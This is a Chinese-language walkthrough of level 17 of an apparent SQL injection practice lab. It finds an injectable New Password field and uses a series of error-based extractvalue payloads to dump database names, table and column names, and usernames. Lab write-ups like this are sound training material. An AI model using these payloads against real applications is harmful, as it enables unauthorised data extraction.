目录
8、获取users表中username字段下第一个数据,以第0位为起点向后推进1位(不包括0)
第十七关
1、找寻注入点
我们在User Name输入的任何字符发现都没有报错,所以我们去尝试一下在New Password的文本框试一下。
发现报错,查看报错信息发现存在单引号注入问题。
2、验证闭合方式
在后面加上注释查看页面是否成功执行
3、异常报错
页面成功执行了,根据前面那么多关的经验,我们可以清晰的看出他肯定没有回显的位置。
所以我们采用异常报错的方式。查看是否会抛出异常错误
' and extractvalue(1,0x7e) -- +
4、查看所有数据库
' or extractvalue(1,concat(0x7e,substr((select binary(group_concat(schema_name)) from information_schema.schemata),1,32),0x7e)) -- +
因为它报错回显的字符数量有限,所以我们需要更改1,32的1,以第1位开始往后32位的字符(其中包括第1位)
5、查看当前数据库
' and extractvalue(1,concat(0x7e,(select database()))) -- +
6、获取security数据库下的所有数据表
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) -- +
7、获取security数据库下users表中所有字段名
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) -- +
8、获取users表中username字段下第一个数据,以第0位为起点向后推进1位(不包括0)
' or extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e)) -- +
我们逐步去拿数据,其中可能会比较浪费时间,可以选择用sqlmap工具。
到此闯关完成,闯关结束。